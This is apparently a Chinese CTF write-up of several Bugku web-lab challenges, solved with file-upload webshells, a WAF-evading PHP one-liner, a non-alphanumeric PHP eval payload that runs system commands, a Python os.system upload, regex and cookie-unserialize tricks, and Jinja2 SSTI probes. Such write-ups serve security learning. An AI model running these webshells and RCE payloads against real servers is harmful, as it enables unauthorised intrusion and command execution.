本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[No one knows regex better than me](#No one knows regex better than me)
文件包含2

进入靶场发现这个界面

查看源代码,发现这个php文件

访问一下,发现是一个文件上传的页面。

测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。
说让我们搞个图片上传

先上传绕过文件,上传抓包

bp改包,然后放包

用bp抓包上传木马文件

把抓到的包的红圈地方改为允许上传的类型

上传成功

连接蚁剑发现一直数据为空
后来发现<?php 和 ?> 被屏蔽。

重新写一句话木马,避开被屏蔽的字段。
把<?php用 <script language=php 代替,
<script language=php>eval($_POST'cmd');</script>
bp抓包再改一下

ok,上传成功
蚁剑连接成功
http://160.202.254.160:15514/index.php?file=upload/202606251259081302.png

找到flag文件

得到flag

坑 1:使用标准的一句话木马被 WAF 拦截
-
查到了原因:
<?php和?>被后端防火墙(WAF)屏蔽了。 -
你的破局: 换成 PHP 的替代写法
<script language="php">eval($_POST['cmd']);</script>。这个写法在很多 CTF 题里都能完美绕过黑名单。
坑 2:误以为这是"图片解析漏洞"
-
之前一直想直接访问
.png的文件,希望服务器会把它当 PHP 执行(或者尝试用.htaccess强制解析)。 -
真相: 这道题根本没有解析漏洞 。服务器就是一个普通的 Web 服务器,看到
.png只会把它当成图片返回。所以蚁剑直接连.png的地址时,收到的是图片的乱码二进制,自然就报"数据为空"。
坑 3:蚁剑的 URL 连错了地方(最致命的坑)
-
蚁剑配置,最后指向的 URL 是:
http://.../index.php?file=upload/xxx.png。 -
真相: 这道题的真正考点是文件包含漏洞(LFI) 。你之前蚁剑填的 URL 是
upload/xxx.png,那是死路。正确的思路是,利用index.php的?file=参数去包含上传的木马图片。一旦被包含,里面的 PHP 代码就会被触发执行。
ezbypass
题目信息

进入靶场看见一串php代码

一、代码审计与限制分析
题目给出了一段 PHP 代码,核心逻辑如下:
error_reporting(0); highlight_file(__FILE__); if (isset($_POST['code'])) { $code = $_POST['code']; if (strlen($code) <= 105){ if (is_string($code)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){ eval($code); } else { echo "Hacked!"; } } else { echo "You need to pass in a string"; } } else { echo "long?"; } }
限制条件总结:
-
strlen($code) <= 105:长度限制极短,极大限制了 Payload 的编写。 -
is_string($code):禁止了常见的数组绕过正则技巧。 -
!preg_match(...):过滤极其严格,正则黑名单几乎涵盖了所有大小写字母、数字以及大量特殊符号。
面对强力的 WAF,我们只能使用严格限制下的极少数字符来通过 eval() 实现 RCE。
二、探索可用字符
针对黑名单过滤,常规思路是抓包测试被允许保留的字符。
问题卡点: 在本地编写脚本跑
chr($i)遍历时发现没有直接回显数据,这说明正则确实过滤极严。 实际结论: 经过排查测试,最终发现未被过滤的字符仅有$、_、+、.、;、,这几种。这些字符极度受限,但也足以支撑起这道题的"神仙 Payload"。
三、核心攻击手法:PHP 自增特性构造字符串
既然不能直接写字母,我们可以利用 PHP 字符串的自增特性(递增/递减运算符) 动态构造出我们需要的关键字。
在 PHP 中,如果对一个纯字母的字符串执行 ++ 操作,它会像 Excel 表格的列号一样进位递增(如 a -> b,z -> aa)。
逐步拆解构造 POST 字符串的代码逻辑:
$_=(_/_._)[_]; // 利用 PHP 的除法运算和数组取下标,巧取字符 'N' // 原理说明:'_' 与 '_' 相除,PHP 会把字符串转为 0,0/0 会抛出一个 Warning 并返回浮点数 NAN。 // `_/_._` 计算结果为 NAN,(NAN)[_] 在 PHP 7 中会取字符串 "NAN" 的下标 0,即字符 'N'。 $_++; // 'N'++ 变为 'O' $__=$_.$_++; // 'O' . 'P',得到 'OP' $_++; // 'Q' $_++; // 'R' $_++; // 'S' $__=$__.$_; // 'OP' . 'S',得到 'OPS' $_++; // 'T' $__=$__.$_; // 'OPS' . 'T',成功构造出字符串 "POST" $_=_.$__; // 在字符串前加个下划线,得到 "_POST" // 此时,变量 $_ 的值已经是字符串 "_POST"
四、构造最终 Payload 实现 RCE(命令执行)
有了 _POST 变量后,我们需要通过动态变量执行系统命令。
最终 Payload 及传参方式:
$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);
前面那串代码执行完后:
-
$_的值是字符串"_POST"。 -
$$_[_]等价于$_POST[_]。 -
$$_[__]等价于$_POST[__]。
最后执行的语句是 $_POST[_]($_POST[__]);,这就是一个标准的 动态函数调用。
GET/POST 组合触发 Payload: 在靶场提交时,必须通过 POST 传递 code 参数,同时携带其余参数触发执行:
# POST 请求主体: code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /
解析:
-
$_POST[_]接收到了system -
$_POST[__]接收到了ls / -
最终执行
system("ls /");
五、避坑指南与实验建议
-
PHP 版本兼容性坑: 在本地测试时,PHP 5.3 / 5.4 环境下自增字符串会报错 ,建议调试环境使用 PHP 7.0 或更高版本。
-
参数传参坑: 代码中的最终一句
$$_[_]($$_[__]);必须依赖外部 POST/GET 传参。如果只发code而不传_和__,PHP 会报错甚至抛出致命错误。
六、靶场实战验证
在 Bugku 靶场环境中直接测试,通过浏览器或 Burp Suite 发送构造好的 Payload。成功执行后,在根目录下即可看到 flag 文件。
# 查看根目录并读取 flag &_=system&__=ls / # 将 ls / 换成 cat /flag &_=system&__=cat /flag
拿到 Flag,完美通关!这道题极大地考察了对 PHP 底层特性的理解以及面对极端 WAF 限制时的代码构造能力


No one knows regex better than me
题目信息

一、题目源码

进入靶场后,首先获得了一段 PHP 代码,核心逻辑如下:
<?php error_reporting(0); $zero=$_REQUEST['zero']; $first=$_REQUEST['first']; $second=$zero.$first; if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ $key=$second; if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); }else{ $third=$first; if(preg_match("/\\|\056\160\150\x70/i",$third)){ $end=substr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php } } } else{ highlight_file(__FILE__); } ?>
二、代码逻辑分析
这道题考察的是PHP 正则绕过与路径拼接 ,我们需要分步绕过三处正则校验,最终通过 highlight_file() 读取敏感文件。
1. 第一步:触发第一层 preg_match_all 校验
-
$second = $zero . $first。 -
正则规则:
/Yeedo|wants|a|girl|friend|or|a|flag/i。 -
绕行思路 :只要
$second中包含a(或者girl等),就能触发内部逻辑。因此我们可以随意在参数中塞入一个小写字母a即可过关。
2. 第二步:绕过黑名单校验
-
进入内层后,会对
$key = $second进行检验:preg_match("/\.\.|flag/",$key)。 -
绕行思路 :这里拦截了
..(路径穿越)以及明文flag。只要我们构造的字符串中不出现这两个特征即可安全跳过。
3. 第三步:触发最终函数
-
preg_match("/\\|\056\160\150\x70/i", $third)。 -
正则解析 :这个正则匹配的是竖线
|(\\|)、点.(八进制\056)、字母p(八进制\160和十六进制\x70)、字母h(八进制\150)。 -
意味着
$first(即$third)中必须含有|、.、p、h中的至少一个字符。
4. 第四步:文件路径拼接读取
-
$end = substr($third, 5); -
highlight_file(base64_decode($zero) . $end); -
目标 :
base64_decode($zero)解码后必须为flag,截取后的$end必须是.php,才能拼成flag.php。
三、漏洞利用与 Payload 构造
经过逻辑推演,我们对参数 zero 和 first 的构造也就非常清晰了:
-
参数
zero:-
将
flag进行 Base64 编码:ZmxhZw==。 -
后端解码后得到
flag。
-
-
参数
first:-
必须包含字符
a(过第一层正则),且包含|或.(过第三层正则)。 -
同时,为了保证
substr($first, 5)截取后得到.php,我们需要精心计算长度。 -
构造 :
abcd|.php(长度 9 个字符,从索引 5 开始截取,正好是.php)。
-
-
最终测试 Payload:
?zero=ZmxhZw==&first=abcd|.php
Payload 生效推演:
-
$second="ZmxhZw==abcd|.php"(成功匹配第一关正则中的a)。 -
$second中不包含..或flag(顺利通过第二关)。 -
$third="abcd|.php"(包含|,顺利通过第三关)。 -
$end=substr("abcd|.php", 5)=".php"。 -
highlight_file("flag" . ".php")⇒highlight_file("flag.php")。
四、获取 Flag
发送上述构造的 Payload 后,服务端会直接高亮显示 flag.php 的源码,其中包含明文 Flag:
flag{ec12ed819ed5252fb9ad067c4e50a234}

字符?正则?
题目信息

一、题目核心代码

进入靶场后,查看源代码,题目核心逻辑如下:
<?php highlight_file('2.php'); $key='KEY{***********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ) { die('key is: ' . $key); } ?>
题目目标 :根据给出的正则规则,构造能够成功匹配的字符串,并通过 GET 方式传参给 id,触发 die() 输出 $key 完成挑战。
二、正则表达式规则精准剖析
这段正则表达式是:/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
注: 末尾的
i是正则修饰符,表示忽略大小写。
各部分含义精准拆解如下:
-
/ ... /:正则表达式的起始和结束定界符。 -
key:匹配字面量字符串key。 -
.*:修正原文描述 ,.代表匹配除换行符之外的任意单个字符 (而非原文所说的数字),*表示前面的字符可以出现 0 次到多次。 -
key:再次匹配字面量字符串key。 -
.{4,7}:匹配任意字符 4 到 7 次。 -
key::匹配字面量字符key:。 -
\/:修正原文描述 ,反斜杠\在正则中用作转义字符,\/表示匹配字面量的正斜杠/。 -
.:匹配一个任意字符。 -
\/:再次匹配一个字面量的正斜杠/。 -
(.*key):括号代表捕获组 ,.*key表示匹配任意字符后紧跟的最后一个key字符串。 -
[a-z]:匹配任意一个小写英文字母。 -
[[:punct:]]:匹配任意一个标点符号(如,,.,!等)。
三、构造合理的 Payload(实战推导)
我们需要构造 id 参数的值,使其完全满足上述正则结构。以 key666key66666key:/6/666keyx, 为例进行代入验证:
-
key→key(开头) -
.\*→666(匹配了 3 个任意字符) -
key→key(中间连接) -
.{4,7}→66666(这里用了 5 个字符6,符合 4-7 次的规则) -
key:→key:(固定字符) -
\/→/(斜杠) -
.→6(任意一个字符) -
\/→/(斜杠) -
(.\*key)→666key(任意字符后接key) -
[a-z]→x(小写字母) -
[[:punct:]]→,(标点符号)
完美命中! 字符串 key666key66666key:/6/666keyx, 完全满足所有正则匹配规则。
四、最终提交与获取 Flag
既然已经构造出符合规则的字符串,直接通过 GET 方式提交给服务器:
?id=key666key66666key:/6/666keyx,
完整请求 URL 示例 : http://靶机地址/?id=key666key66666key:/6/666keyx,
提交后,正则匹配成功,PHP 执行 die('key is: ' . $key);,即可返回最终的 Flag。

Flask_FileUpload
题目信息

打开靶场是个文件上传
直接上传图片木马试一试
上传成功

蚁剑连接不上,显示路径错误,让我去哪找路径去啊

查看源码报错信息:

SyntaxError: Non-UTF-8 code starting with '\x89' in file /app/upload/mm_shell.png
这说明两个关键问题:
-
后端是 Python 环境,不是 PHP! (Png图片的文件头第一个字节是
\x89,Python 把它当 Python 语法解析时,撞到了非法字符,直接报错崩溃了)。 -
上传路径就是
/app/upload/mm_shell.png,出题人完全没有修改你的文件名和后缀。
既然这是一个 Python 环境,我们不需要蚁剑,也不用花里胡哨的图片马 ,直接传一个可以执行命令的 Python 脚本(.py),后端读取并解析它时,就会直接把 Flag 打印在网页上。
第一步:制作 Python 木马 在你的电脑上新建一个空文本文件,命名为 mm_shell.py,在里面输入以下代码并保存:
import os os.system("ls /")
第二步:改文件后缀名
把mm_shell.py的py改为png
第三步:看回显,查看文件

找到flag,改一下代码cat一下

跟上个步骤一样,得到flag!

xxx二手交易市场
题目信息

进入靶场发现是个交易页面

提示没有账号不能购买物品 那我们先注册登录

然后进入属于自己的用户信息资料页

在这里存在一个上传点 用户的头像 交互时的漏洞
然后我们进行正常的上传 burpsuite抓包

原本我们上传的为png后缀图片 然后服务器 返回的缺失jpeg后缀 请求包中又为jpeg 值

说明可能这里是控制后缀的 那我们修改请求的数据包 jpeg-->php
上传成功

然后修改请求体中的内容 仔细观察 它的数据是使用base64 加密过的 所以我们上传的木马也要使用base64加密

编译后上传

然后用蚁剑连接

找到flag文件

找到flag

文件上传
题目信息

打开靶场,文件上传

打开bp,并上传一个一句话木马上去(后缀名为png)
<?php @eval($_POST['cmd']); echo 'success'; ?>

修改将"multipart"修改为"Multipart"并将文件后缀修改为php4

此时发送,就可以成功上传一句话木马,根据返回的路径打开蚁剑并连接

连接成功

找到flag文件

得到flag!

getshell
题目信息

进入靶场,一大串非常乱的编码

解密后;

显然我们可以蚁剑连接了,但是我们得绕过,disable_function函数
密码:ymlisisisiook
连接成功

选择插件

选择模式


再连接新生成的绕过木马
密码还是和连接第一次的密码一样
ymlisisisiook
http://114.67.175.224:11019/.antproxy.php

成功拿到flag

点login咋没反应
题目信息

进入靶场,看到点提示

try ?12713

拿到一个php代码
<?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['12713'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } ?>
在 PHP 中,把 字符串 ctf.bugku.com 进行序列化,得到的序列化结果是:
s:14:"ctf.bugku.com";
当 unserialize() 解析这段内容时,会还原成一个 PHP 字符串 "ctf.bugku.com"。 因为字符串的类型和值完全相等,所以 "ctf.bugku.com" === "ctf.bugku.com" 成立,成功触发输出 $flag。
只需要把 BUGKU 这个 Cookie 的值设置为上面那段序列化字符串的 URL 编码 即可。
原始 Cookie 值:
s:14:"ctf.bugku.com";
经过 URL 编码后的最终 Payload(填入 Cookie):
s%3A14%3A%22ctf.bugku.com%22%3B
方法 1:使用 Burp Suite(最稳妥)
-
打开 Burp Suite 抓包。
-
抓到
GET /请求后,发送到 Repeater。 -
在请求头的
Cookie:字段中,把原来的值替换成:Cookie: BUGKU=s%3A13%3A%22ctf.bugku.com%22%3B -
点击 Send ,右侧 Response 里直接就会返回包含
flag{...}的页面。
方法 2:使用浏览器控制台(最快)
-
打开靶机页面,按下 F12 打开开发者工具,切换到 Console(控制台)。
-
粘贴下面这行代码并回车:
document.cookie = "BUGKU=s%3A13%3A%22ctf.bugku.com%22%3B"; -
直接在浏览器刷新当前页面。
-
页面中间就会直接显示出 Flag!

Simple_SSTI_1
题目信息

打开靶场

提示需要传入一个名为flag的参数,题目又叫SSTI,从而得到了可以使用模板注入的基本条件
了解Jinjan2 基础语法 Jinja2模版语言,是不区分缩进的,和纯python不同。实际上所有模版语言都不区分缩紧。 常用标记: 注释:`{# 这是注释 #}` 变量:`{{ post.title }}`,或字典元素`{{your_dict['key']}}`,或列表`{{your_list[0]}}` 多行代码块:`{% 开始 %} HTML标签 {% 结束 %}` 示例: {% if user %} {{ user }} {% else %} hello! {% for index in indexs %} {{ index }} {% endfor %}
在 SSTI 漏洞利用中,常见模板引擎的定界符主要有三种:
-
{% ... %}:用于执行逻辑语句(如循环、条件判断)。 -
{``{ ... }}:用于输出表达式的结果或变量。 -
{# ... #}:用于注释,其内容不会被模板引擎渲染。
在 CTF 实战中,绝大多数题目利用的都是第二种 {``{ ... }} 形式。由于本题已经明确提示了存在 SSTI,因此我们可以省去前期的引擎类型探测步骤,直接进入漏洞验证阶段。
常用的基础探测 Payload 为 {``{2\*3}} 。提交后,如果页面成功回显结果为 6,则说明模板引擎成功执行了内部的数学运算,SSTI 漏洞确定存在。接下来即可继续利用 Python 的内置对象和魔术方法,构造读取文件或执行系统命令的链式 Payload 来获取 Flag。

"在 Flask 模板中,config 同样是一个极具利用价值的全局对象。它包含了当前应用程序运行时的所有配置项(如 SECRET_KEY、数据库连接信息等)。因此,在进行 SSTI(服务端模板注入)探测时,我们可以直接通过 {``{ config }} 查看整个配置字典,或者通过 {``{ config.xxx }} 提取特定的属性值。在实战中,这往往是快速获取敏感信息、寻找突破口的捷径。"
得到flag!
